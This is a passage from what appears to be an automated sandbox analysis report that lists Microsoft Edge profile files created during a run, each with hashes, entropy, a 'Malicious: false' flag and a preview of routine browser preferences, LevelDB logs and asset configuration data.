SHA1:	0185ACDC417BDB72E4E44DD2F6D6A71A5F98DCC9
SHA-256:	534D771A11000448BB6730BBF30E0D53C94A6D255A6BB63A04408707AB719254
SHA-512:	6266EB67091355D1AD46655902C1BAD724696210FC89B48D60705DCF137C1D03197EF0F413C0C1FADAF3BFACD0A19CC8FA3FBB6DF6DC6AA7E1BA51FB43E96F3C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85475d01-582f-40da-bda6-6b0df19bbba8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17433), with no line terminators
Category:	dropped
Size (bytes):	17441
Entropy (8bit):	5.491016488949165
Encrypted:	false
SSDEEP:	384:stuPGQSu4gssHZCD49FBiFNt9S6+g+HWZKULbGRQwu3A:skOXuv5ChbGCjA
MD5:	F26ECC6492DA5776D4A95023EB2BE481
SHA1:	4BE5FDCD651CB9FFE5D00DB72AC2C6E0DC15597B
SHA-256:	98F2EC955DE2E0EBE412F45070150A20D1EE8DEDC6421ADE044CFD0031FC1355
SHA-512:	4845A3C5F16930BB55F15ECEDB7AA14CAB654C36A33147CD6298B237A85E4BDC06C400B97AC0291BEEFA58E8D3C5CFBA8E993BDCD3EEB3CDF0FB42E16CD4BF11
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\88116f4b-39be-4339-b0f4-862293dee55a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17433), with no line terminators
Category:	dropped
Size (bytes):	17441
Entropy (8bit):	5.491089951980403
Encrypted:	false
SSDEEP:	384:stuPGQSu4gssHZCD49FBiFNt9S6+g+HWZKULbGRQw83A:skOXuv5ChbGCxA
MD5:	CF97F2BD3EDE2F0FABE1D4FA179ED404
SHA1:	60AC2D27937C113CB59B0B4B7BA87CF99E829AC4
SHA-256:	255C0205FCC30053E3EE63B9A54EBEBF0D7BF6239D41396955EE210EC1396B23
SHA-512:	911B3C23992A5327503E246BB7F6B45BE29E9CB88C31C2B7B2D185A178E836131C83B129F664485734531D06764A0601FFFA01DA888FF1FC4B4647BC46DECA37
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\967e91f9-ebc1-4137-a70c-0a53427fbb2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17268), with no line terminators
Category:	dropped
Size (bytes):	17276
Entropy (8bit):	5.494199161496038
Encrypted:	false
SSDEEP:	384:stuPGQSu4gssHZCD49FBiFNt9S6+g+HWZKULbGRQw3A:skOXuv5ChbGCiA
MD5:	923A306061EBE21111329B96E2AC689B
SHA1:	D122A4CE19B66DEDA6E672750A6D845658FE9BD4
SHA-256:	A3E5CA7507CA3442BC177A3883E8D0E3D84D9CC196A6BF38D5A651E18C70D28C
SHA-512:	839D739F6BC8A42624ACA7E5C70E5263D15D5D145665FA69B67891CDE07FAAA74A89D84FB5286A8E01667DA35B0856504BC579E63FE4334E6F16D70E6DC2B28E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.248888829002355
Encrypted:	false
SSDEEP:	6:HApLvs1N723oH+Tcwtp3hBtB2KLlVApLow+q2PN723oH+Tcwtp3hBWsIFUv:gBvMaYebp3dFLoB4vVaYebp3eFUv
MD5:	EEA2182EB75B6FF817F13A23C4E795D8
SHA1:	02E0DBC03AEA4B9141CA61456ED5D46BF45EE2AE
SHA-256:	AC6D816B258FA36B228A0F06C5284E759E71DACE7C2D5E2B8C162305F56ACE04
SHA-512:	9A71AA5069B5F83A6D64D8AB835466081AFB3951A48E520975667E58AC47B5876CBAD444044015038D582CEA0474E649DA0556805C702B8DD04C9E1C6E5B08EF
Malicious:	false
Preview:	2024/11/25-19:41:34.201 1f08 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-19:41:35.162 1f08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869909506418
Encrypted:	false
SSDEEP:	24576:IbPMZpVafI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVafx2mjF
MD5:	F0211F7D529B8E7717CD4C3423C66D28
SHA1:	DBD9529958C359BA3C9C83A6467A8182F2EB10FF
SHA-256:	BEFBB70AADA109E825433845CD056DC8A4CC3B4BF440EC7707A86319F277FDD8
SHA-512:	D5219A627D4925AC5D16B9ABA72D4B61A27A7716FC7F4BBD9AA4B1F0E383A51FBCEA1492A666A3B4588311665CA94EF65533D05551B60F91BCA5C554EDEA3B91
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.140798970441139
Encrypted:	false
SSDEEP:	6:HApLQiq2PN723oH+Tcwt9Eh1tIFUt8YApLjRZmw+YApL5ZbPkwON723oH+Tcwt9O:gBDvVaYeb9Eh16FUt87BV/+7BHbP5Oaw
MD5:	CD4708ACA98EFFBF9CD44CC089D7778E
SHA1:	9EEC9651F03CDB4E969D121334C86E867AA4EDB2
SHA-256:	5819D7FEEF7A611C12D0D74E59962561D44EB5C4604109192B26527F9A131F57
SHA-512:	E114ADE26F03039964BB36F9E5ABACE7C76FC15F6E14A6940BBD50ECC902B1DED813D26208D8A8F3317322BDF0BEE87789EAE2D4BCD6A49A0A845B206B1DA4A0
Malicious:	false
Preview:	2024/11/25-19:41:35.108 2394 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-19:41:35.109 2394 Recovering log #3.2024/11/25-19:41:35.116 2394 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.140798970441139
Encrypted:	false
SSDEEP:	6:HApLQiq2PN723oH+Tcwt9Eh1tIFUt8YApLjRZmw+YApL5ZbPkwON723oH+Tcwt9O:gBDvVaYeb9Eh16FUt87BV/+7BHbP5Oaw
MD5:	CD4708ACA98EFFBF9CD44CC089D7778E
SHA1:	9EEC9651F03CDB4E969D121334C86E867AA4EDB2
SHA-256:	5819D7FEEF7A611C12D0D74E59962561D44EB5C4604109192B26527F9A131F57
SHA-512:	E114ADE26F03039964BB36F9E5ABACE7C76FC15F6E14A6940BBD50ECC902B1DED813D26208D8A8F3317322BDF0BEE87789EAE2D4BCD6A49A0A845B206B1DA4A0
Malicious:	false
Preview:	2024/11/25-19:41:35.108 2394 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-19:41:35.109 2394 Recovering log #3.2024/11/25-19:41:35.116 2394 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4622999752159909
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5y:TouQq3qh7z3bY2LNW9WMcUvBus
MD5:	D798F3EA063D893C99C9D173CAAD5DEF
SHA1:	85CDBCA6FDFF6CBDE6C21F552646DD37F1D117C1
SHA-256:	CDA093A925320AB0B1D5A6F36291A395C4612FD17CF361ECF1F8D8FDE67E6753
SHA-512:	330383A190098A01846DB376468E3B031B4B6D0C20A5C805E2C5B0DA6A3D94428D99759841CD517A0195B5975D0000DEEB7AD4DD78C001951DE76ADC6D17A79F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.237049990555087
Encrypted:	false
SSDEEP:	6:HApL/6TmKVq2PN723oH+TcwtnG2tMsIFUt8YApL/6TmKgZmw+YApL/6TmKIkwONG:gB/6TtVvVaYebn9GFUt87B/6Ttg/+7Bd
MD5:	70162E9F20BE9DAC7728F9F84EC6B3DD
SHA1:	51DF00BF5BEFEB7D9C89977E8AC05510BC5E0684
SHA-256:	AA007AC3150F72738E85B963855A46F61E6E882CD6E3B2337452228A8069E8D9
SHA-512:	D85CBB493374D79CAB70EA2E4CA13E823B5CC6E13066B1803C98710E90CB125E7D560457B2E2E29C0AB84B2E41E704E7B10CDBD724D17508FF634868EB83D44F
Malicious:	false
Preview:	2024/11/25-19:41:29.696 1f74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-19:41:29.696 1f74 Recovering log #3.2024/11/25-19:41:29.696 1f74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.237049990555087
Encrypted:	false
SSDEEP:	6:HApL/6TmKVq2PN723oH+TcwtnG2tMsIFUt8YApL/6TmKgZmw+YApL/6TmKIkwONG:gB/6TtVvVaYebn9GFUt87B/6Ttg/+7Bd
MD5:	70162E9F20BE9DAC7728F9F84EC6B3DD
SHA1:	51DF00BF5BEFEB7D9C89977E8AC05510BC5E0684
SHA-256:	AA007AC3150F72738E85B963855A46F61E6E882CD6E3B2337452228A8069E8D9
SHA-512:	D85CBB493374D79CAB70EA2E4CA13E823B5CC6E13066B1803C98710E90CB125E7D560457B2E2E29C0AB84B2E41E704E7B10CDBD724D17508FF634868EB83D44F
Malicious:	false
Preview:	2024/11/25-19:41:29.696 1f74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-19:41:29.696 1f74 Recovering log #3.2024/11/25-19:41:29.696 1f74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613109615461044
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j2FoprcmL:TO8D4jJ/6Up+6AZ
MD5:	5C3DFFEFCBF02F554086726FA6AC2195
SHA1:	E5579C11FB5FA40C6977768442EA90529B5A0962
SHA-256:	10AD2BA544DBC038FC818C5307EB1C682665BA4BB0D29DC3D81393E61B5EF220
SHA-512:	D3A43F765F86E7C49342154D1273C975337842C4B7AE13D5D173595FEE66369CA0C0293B95412A065CA4FAF5A126BCE5A175C269E98497EB0DC2B58918267BC4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354148915576741
Encrypted:	false
SSDEEP:	6144:sA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:sFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	D585CCDAAE10F2D3B48BBC1D6E33288E
SHA1:	F23A8C17DA02820406D6E4BFFEAB0668A75D24E6
SHA-256:	75A0EF992882961820A6A52A3528A89933F217FEFE02AA437032C12B577DE40E
SHA-512:	EAEB09CF61E62885268EBF06BF566A3E34C9DA6248850646D9C2D2DE441743ED5FC0944D77F2A7E72D0351B03CDA6C694387DF56B1F83FFD0EF9D3BF9FB43443
Malicious:	false
Preview:	...m.................DB_VERSION.1..T.q...............&QUERY_TIMESTAMP:domains_config_gz2...13377055297396967..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.176241669287571
Encrypted:	false
SSDEEP:	6:HApL7JRRM1N723oH+Tcwtk2WwnvB2KLlVApL938Iq2PN723oH+Tcwtk2WwnvIFUv:gB7JRRsaYebkxwnvFLoBF8IvVaYebkxG
MD5:	4717D0297353068B9486AEAA273A376B
SHA1:	575674273FBB6F21D9601E75C9024E170A0E59E1
SHA-256:	3627EDB0182056C79F0A8B788BC3C52EEC6F34570457270E8D3472562505C974
SHA-512:	F6495DF0408D43759062833D3054034E4074997ADE4D97836C9D275F7E986A525BC03D54DCA2DFBB2C13CEA99A694385497BA7DD0711CEE19C44EF394A0569F6
Malicious:	false
Preview:	2024/11/25-19:41:35.136 23b4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-19:41:35.158 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613500427076
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rl:C1gAg1zfvt
MD5:	28EB2536D89E01C33EFF10D95C0B905D
SHA1:	06D8A9C7C1F8C377B6B00B705DD773037A9318E0
SHA-256:	E2C2071D491BD076702C977685C58931335030866F174552B823CD1424DC78DC
SHA-512:	E6A90DCCCD93B906ED281D13189AF44CB9CA322E0F6FE516AA18A84F6E600B686CE8319A51504A3374ABF9EC363D946724E748842F402B7569F43E04D397621A
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

